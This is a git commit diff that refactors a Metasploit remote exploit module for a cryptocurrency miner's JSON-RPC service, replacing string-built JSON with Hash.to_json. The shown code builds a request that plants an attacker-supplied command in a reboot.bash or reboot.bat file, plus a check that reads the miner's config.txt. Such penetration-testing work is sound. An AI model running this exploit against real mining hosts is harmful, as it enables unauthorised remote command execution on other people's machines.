refactor: use Hash.to_json instead of strings
parent
6d4ad57beb
commit
5649dd0598
|
@ -68,9 +68,19 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
case target['Platform']
|
||||
when 'linux'
|
||||
upload = "{\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_file\",\"params\":[\"reboot.bash\", \"#{cmd}\"]}"
|
||||
upload = {
|
||||
"id" => 0,
|
||||
"jsonrpc" => '2.0',
|
||||
"method" => 'miner_file',
|
||||
"params" => ['reboot.bash', "#{cmd}"]
|
||||
}.to_json
|
||||
when 'windows'
|
||||
upload = "{\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_file\",\"params\":[\"reboot.bat\", \"#{cmd}\"]}"
|
||||
upload = {
|
||||
"id" => 0,
|
||||
"jsonrpc" => '2.0',
|
||||
"method" => 'miner_file',
|
||||
"params" => ['reboot.bat', "#{cmd}"]
|
||||
}.to_json
|
||||
end
|
||||
begin
|
||||
connect
|
||||
|
@ -105,7 +115,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def check
|
||||
data = '{"id":0,"jsonrpc":"2.0","method":"miner_getfile","params":["config.txt"]}'
|
||||
data = {
|
||||
"id" => 0,
|
||||
"jsonrpc" => '2.0',
|
||||
"method" => 'miner_getfile',
|
||||
"params" => ['config.txt']
|
||||
}.to_json
|
||||
connect
|
||||
sock.put(data)
|
||||
buf = sock.get_once || ''
|
||||
|
|
Loading…
Reference in New Issue